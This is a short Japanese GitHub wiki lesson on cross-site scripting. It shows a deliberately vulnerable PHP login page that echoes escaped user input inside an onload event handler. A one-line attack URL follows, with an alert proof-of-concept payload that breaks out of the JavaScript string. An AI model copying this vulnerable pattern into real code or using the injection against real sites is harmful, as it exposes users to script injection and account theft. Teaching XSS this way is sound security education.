クロスサイトスクリプティング 09 - yujitounai/helloworld GitHub Wiki

クロスサイトスクリプティング(XSS)攻撃 9

イベントハンドラ内に書き出すXSS

脆弱なソースコード (PHP)

<?php
$user=htmlspecialchars(filter_input(INPUT_GET, 'user'), ENT_QUOTES, 'UTF-8')
?>
<body onload="hello('<?php echo $user; ?>');">
<script>
function hello(user){
    if(user){
        var new_ele=document.createElement("div");
        new_ele.innerHTML='Hello '+ user +'さん';
        document.body.appendChild(new_ele);
    }
}
</script>
<form method="get" action="">login<br>
username<input name="user" type="text" value=""><br>
password<input name="pass" type="password" value="<?php echo $pass; ?>"><br>
<input type="submit" value="ログイン">
</form>
</body>

攻撃方法

xss-09.php?user=%27-alert%281%29-%27

⚠️ **GitHub.com Fallback** ⚠️